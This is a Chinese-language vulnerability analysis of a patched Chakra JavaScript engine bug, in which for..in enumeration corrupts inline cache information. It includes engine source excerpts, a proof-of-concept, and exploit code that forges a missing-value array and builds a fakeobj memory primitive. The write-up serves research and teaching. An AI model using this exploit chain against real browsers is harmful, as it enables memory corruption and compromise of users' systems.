导语:在Chakra中,javascript代码最初通过解释器运行,然后在最终被调度用于JIT编译时重复调用函数。为了加速解释器中的执行,可以缓存某些操作(如属性读取和写入),以避免每次访问给定属性时进行类型查找。本质上,这些`Cache`对象将属性名称与索引相关联以检索属性或写入属性。
漏洞分析
与其他引擎一样,JavaScript对象a在内部表示为DynamicObject,并且它们不会将自己的属性名称映射为属性值。相反,它们只维护属性值并且有一个type字段,该字段指向一个Type对象,该对象能够将属性名称映射到属性值数组中的索引。
在Chakra中,JavaScript代码最初通过解释器运行,然后在最终被调度用于JIT编译时重复调用函数。为了加速解释器中的执行,可以缓存某些操作(如属性读取和写入),以避免每次访问给定属性时进行类型查找。本质上,这些Cache对象将属性名称与索引相关联以检索属性或写入属性。
可以导致使用这种高速缓存的操作之一是通过for .. in循环的属性枚举。属性枚举最终将到达枚举对象的类型处理程序中的以下代码:
template<size_t size> BOOL SimpleTypeHandler<size>::FindNextProperty(ScriptContext* scriptContext, PropertyIndex& index, JavascriptString** propertyStringName, PropertyId* propertyId, PropertyAttributes* attributes, Type* type, DynamicType *typeToEnumerate, EnumeratorFlags flags, DynamicObject* instance, PropertyValueInfo* info) { Assert(propertyStringName); Assert(propertyId); Assert(type); for( ; index < propertyCount; ++index ) { PropertyAttributes attribs = descriptors[index].Attributes; if( !(attribs & PropertyDeleted) && (!!(flags & EnumeratorFlags::EnumNonEnumerable) || (attribs & PropertyEnumerable))) { const PropertyRecord* propertyRecord = descriptors[index].Id; // Skip this property if it is a symbol and we are not including symbol properties if (!(flags & EnumeratorFlags::EnumSymbols) && propertyRecord->IsSymbol()) { continue; } if (attributes != nullptr) { *attributes = attribs; } *propertyId = propertyRecord->GetPropertyId(); PropertyString * propStr = scriptContext->GetPropertyString(*propertyId); *propertyStringName = propStr; PropertyValueInfo::SetCacheInfo(info, propStr, propStr->GetLdElemInlineCache(), false); if ((attribs & PropertyWritable) == PropertyWritable) { PropertyValueInfo::Set(info, instance, index, attribs); // [[ 1 ]] } else { PropertyValueInfo::SetNoCache(info, instance); } return TRUE; } } PropertyValueInfo::SetNoCache(info, instance); return FALSE; }
有两个有趣的事情需要注意:第一个是,在PropertyValueInfo中,index并attribs同时又有调用此方法的两个Type对象:type和typeToEnumerate。
该PropertyValueInfo是用于创建void CacheOperators::CachePropertyRead属性的。
这里要实现的特殊之处在于,在FindNextProperty代码中,即使将两个Type对象作为参数传递,PropertyValueInfo对象也会随时更新。如果这两种类型不同怎么办?这是否意味着缓存信息会针对错误的类型进行更新?
事实证明,这正是漏洞所在,以下PoC说明了这种行为:
function poc(v) { var tmp = new String("aa"); tmp.x = 2; once = 1; for (let useless in tmp) { if (once) { delete tmp.x; once = 0; } tmp.y = v; tmp.x = 1; } return tmp.x; } console.log(poc(5));
如果看一下这段代码,希望它能够1打印,但它会打印5出来。所以似乎通过执行return tmp.x,它将获取属性的有效值tmp.y。
观察FindNextProperty代码:当delete tmp.x再设置tmp.y和tmp.x,最终tmp.y索引0和tmp.x索引1的对象。但是,在枚举的初始类型中,tmp.x是在索引0处。因此,新类型的缓存信息将更新为tmp.x is at offset 0,在执行时执行直接索引访问return tmp.x。
要利用这个漏洞,需要使用JIT编译器来帮助我们。
利用条件
JIT代码中的内联缓存
为了优化属性访问,JIT代码可以依赖Cache对象生成Type检查序列,然后在类型匹配时进行直接属性访问。
对应于以下指令序列:
type = object.type cachedType = Cache.cachedType if type == cachedType: index = Cache.propertyIndex property = object.properties[index] else: property = Runtime::GetProperty(object, propertyName)
在JIT编译器中加入推理算法和范围分析
Chakra的JIT编译器在使用最高级别的JIT编译器时使用正向传递算法来执行优化。该算法适用于控制流图(CFG)并以正向方向访问每个块。作为处理新块的第一步,将合并在其每个前块处收集的信息。
使用以下示例显示此行为:
function opt(flag) { let tmp = {}; tmp.x = 1; if (flag) { tmp.x = 2; } ... }
大致对应于以下CFG:
function opt(flag) { // Block 1 let tmp = {}; tmp.x = 1; if (flag) { // End of Block 1, Successors 2, 3 // Block 2: Predecessor 1 tmp.x = 2; // End of Block 2: Successor 3 } // Block 3: Predecessors 1, 2 }
当JIT开始处理块3,将合并块1,它指定的类型的信息tmp.x的类型是integer in the range [1,1],从块2的类型的信息,指定tmp.x的类型的integer in the range [2,2]。
这些类型的integer in the range [1,2]并集将被分配给tmp.x块3开头的值。
Chakra中的数组
数组通常是重度优化的目标,在Chakra中,大多数阵列具有三种不同的存储模式之一:
· NativeIntArray:每个元素都存储为4字节整数。
· NativeFloatArray:每个元素都存储为8字节浮点数。
· JavascriptArray:每个元素都以其默认形式1存储(存储为0x0001000000000001)。
在此存储模式之上,该对象将携带有关可帮助进一步优化的阵列的信息。HasNoMissingValues标志,表示index 0和之间的每个值都做了length – 1设置。
定义的RuntimeCommon.h如下
const uint64 VarMissingItemPattern = 0x00040002FFF80002; const uint64 FloatMissingItemPattern = 0xFFF80002FFF80002; const int32 IntMissingItemPattern = 0xFFF80002;
如果你能够创建一个值并且HasNoMissingValues设置了标志的数组,那么就可以利用成功了,从现在开始可以使用现成的漏洞利用技术。
BailOutConventionalNativeArrayAccessOnly
在优化数组存储操作时,JIT将使用类型信息来检查此存储是否可能产生缺失值。如果JIT无法确定不是这种情况,它将使用指令生成缺失值检查。
这些操作由StElem指令IR表示,上述描述将在GlobOpt::TypeSpecializeStElem(IR::Instr ** pInstr, Value *src1Val, Value **pDstVal)方法中进行。此方法的代码太多主要逻辑如下:
bool bConvertToBailoutInstr = true; // Definite StElemC doesn't need bailout, because it can't fail or cause conversion. if (instr->m_opcode == Js::OpCode::StElemC && baseValueType.IsObject()) { if (baseValueType.HasIntElements()) { //Native int array requires a missing element check & bailout int32 min = INT32_MIN; int32 max = INT32_MAX; if (src1Val->GetValueInfo()->GetIntValMinMax(&min, &max, false)) // [[ 1 ]] { bConvertToBailoutInstr = ((min <= Js::JavascriptNativeIntArray::MissingItem) && (max >= Js::JavascriptNativeIntArray::MissingItem)); // [[ 2 ]] } } else { bConvertToBailoutInstr = false; } }
我们可以看到它获取了valueInfoat 的下限和上限,然后检查是否可以删除bConvertToBailoutInstr == false。
漏洞利用链
我们可以创建一个浏览器引擎不知道的缺失值的数组。为了实现这一点,我们使用漏洞来生成Cache 有关对象的某个属性位置的错误信息,这将导致JIT执行的类型推断和范围分析的错误结果。因此,我们可以分配一个不包含缺失值的数组。以下代码说明了这一点:
function opt(index) { var tmp = new String("aa"); tmp.x = 2; once = 1; for (let useless in tmp) { if (once) { delete tmp.x; once = 0; } tmp.y = index; tmp.x = 1; } return [1, tmp.x - 524286]; // forge missing value 0xfff80002 [[ 1 ]] } for (let i = 0; i < 0x1000; i++) { opt(1); } evil = opt(0); evil[0] = 1.1;
上面的代码是JIT假设tmp.x是在范围内[1, 2]的。然后它将优化数组创建,因为它推断既不是1 – 524286也不是2 – 524286是缺失值。然而,通过使用这个漏洞,tmp.x将0设为有效,因此tmp.x – 524286将导致0xfff80002是IntMissingItemPattern。然后我们设置一个简单的float来将这个数组转换为 NativeFloatArray。
下面的代码展示了fakeobj从这里派生:
var convert = new ArrayBuffer(0x100); var u32 = new Uint32Array(convert); var f64 = new Float64Array(convert); var BASE = 0x100000000; function hex(x) { return `0x${x.toString(16)}` } function i2f(x) { u32[0] = x % BASE; u32[1] = (x - (x % BASE)) / BASE; return f64[0]; } function f2i(x) { f64[0] = x; return u32[0] + BASE * u32[1]; } // The bug lets us update the CacheInfo for a wrong type so we can create a faulty inline cache. // We use that to confuse the JIT into thinking that the ValueInfo for tmp.x is either 1 or 2 // when in reality our bug will let us write to tmp.x through tmp.y. // We can use that to forge a missing value array with the HasNoMissingValues flag function opt(index) { var tmp = new String("aa"); tmp.x = 2; once = 1; for (let useless in tmp) { if (once) { delete tmp.x; once = 0; } tmp.y = index; tmp.x = 1; } return [1, tmp.x - 524286]; // forge missing value 0xfff80002 } for (let i = 0; i < 0x1000; i++) { opt(1); } evil = opt(0); evil[0] = 1.1; // evil is now a NativeFloatArray with a missing value but the engine does not know it function fakeobj(addr) { function opt2(victim, magic_arr, hax, addr){ let magic = magic_arr[1]; victim[0] = 1.1; hax[0x100] = magic; // change float Array to Var Array victim[0] = addr; // Store unboxed double to Var Array } for (let i = 0; i < 10000; i++){ let ary = [2,3,4,5,6.6,7,8,9]; delete ary[1]; opt2(ary, [1.1,2.2], ary, 1.1); } let victim = [1.1,2.2]; opt2(victim, evil, victim, i2f(addr)); return victim[0]; } print(fakeobj(0x12345670));
结论
该漏洞之前已经得到了修复。正如我们所看到的,即使漏洞存在于解释器中,JIT编译器也仍然提供了一定程度的自由,在某些情况下是可以被利用的。
希望你喜欢这篇文章,谢谢。